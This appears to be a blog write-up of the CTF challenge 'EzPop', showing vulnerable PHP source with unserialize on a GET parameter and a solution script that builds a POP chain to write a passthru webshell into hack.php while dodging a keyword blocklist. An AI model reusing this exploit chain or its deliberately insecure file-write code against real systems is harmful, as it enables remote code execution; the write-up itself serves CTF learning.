当前位置:网站首页>CTF freshman cup PHP deserialization question - EzPop
CTF freshman cup PHP deserialization question - EzPop
2022-06-12 10:26:00 【Free gift, juvenile】
Source code :
<?php
error_reporting(0);
class openfunc{
public $object;
function __construct(){
$this->object=new normal();
}
function __wakeup(){
$this->object=new normal();
}
function __destruct(){
$this->object->action();
}
}
abstract class hack {
abstract public function pass();
public function action() {
$this->pass();
}
}
class normal{
public $d;
function action(){
echo "you must bypass it";
}
}
class evil extends hack{
public $data;
public $a;
public $b;
public $c;
public function pass(){
$this->a = unserialize($this->b);
$this->a->d =urldecode(date($this->c));
if($this->a->d === 'shell'){
$this->shell();
}
else{
die(date('Y/m/d H:i:s'));
}
}
function shell(){
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
die("you die");
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
echo $dir;
}
file_put_contents("$dir" . "hack.php", $this->data);
}
}
if (isset($_GET['Xp0int']))
{
$Data = unserialize(base64_decode($_GET['Xp0int']));
}
else
{
highlight_file(__file__);
}wp:
<?php
class openfunc{
public $object;
function __construct(){
$this->object=new evil();
}
function __wakeup(){
$this->object=new normal();
}
function __destruct(){
$this->object->action();
}
}
abstract class hack {
abstract public function pass();
public function action() {
$this->pass();
}
}
class normal{
public $d;
function action(){
echo "you must bypass it";
}
}
class evil extends hack {
public $data;
public $a;
public $b;
public $c;
function __construct(){
$this->data='<?=passthru("sort /fffffl?ggggg");?>';
$this->b=serialize(new normal());
$this->c='%73%68%65%6C%6C';
}
public function pass(){
$this->a = unserialize($this->b);
$this->a->d = urldecode(date($this->c));
if($this->a->d=== 'shell'){
$this->shell();
}
else{
die(date('Y/m/d H:i:s'));
}
}
function shell(){
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
die("you die");
}
$dir = 'scandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
echo $dir;
}
file_put_contents("$dir" . "hack.php", $this->data);
}
}
$a=serialize(new Openfunc());
echo $a;
// The generated $a, To modify the parameters to bypass wakeup function
// And then $a Conduct base64 code , To simulate the process of sending data through the browser
// What will be generated in the end hack.php Path to access
?>边栏推荐
- golang中的定时器
- 用于图像处理的高性能计算框架
- C 语言仅凭自学能到什么高度?
- PHP occupies memory
- SAP Hana error message sys_ XSA authentication failed SQLSTATE - 28000
- Implementation principle of redisson distributed lock
- Student management system
- [Wayland] Weston startup process analysis
- One test for twoorthree years, recording some thoughts on test exchange experience
- [Wayland] Weston multi screen display
猜你喜欢

1268_ Implementation of FreeRTOS task context switching

MySQL III Configuration file & log file

How to implement Web3.0 and digital fashion?

conda 安装tensorflow 测试tensorflow

Redis (II) Memory mapped data structure

2022淘宝618超级喵运会怎么玩?2022淘宝618喵运会玩法技巧

2. factory mode

Global and local existence of array, integer and character variables
![[DDS] ddsi-rtps specification](/img/fe/16b835e3e4a8ff71ab3dbc4b9c4d2a.jpg)
[DDS] ddsi-rtps specification

Dynamic proxy
随机推荐
机器学习之数据处理与可视化【鸢尾花数据分类|特征属性比较】
[MySQL] learn more about the clustered indexes and auxiliary indexes (b+ tree indexes) in InnoDB
4. creator mode
PHP: seven cattle cloud upload file
JS string combination
How to implement Web3.0 and digital fashion?
1268_ Implementation of FreeRTOS task context switching
How high can C language reach by self-study alone?
2021-09-13
How to play the 2022 Taobao 618 Super Cat Games? What are the strategies for the Super Cat Games
高通平台如何修改特殊电压
MQTT 协议中文版
properties中文乱码
Add jar package under idea2018 web project
2022淘宝618超级喵运会玩法攻略 618超级喵运会玩法技巧
ASP.NET Core权限系统实战(零)
Is the acceptance standard a test case?
Cookie object
Quickly build oncyber io
Code types and data structures corresponding to the five object types of redis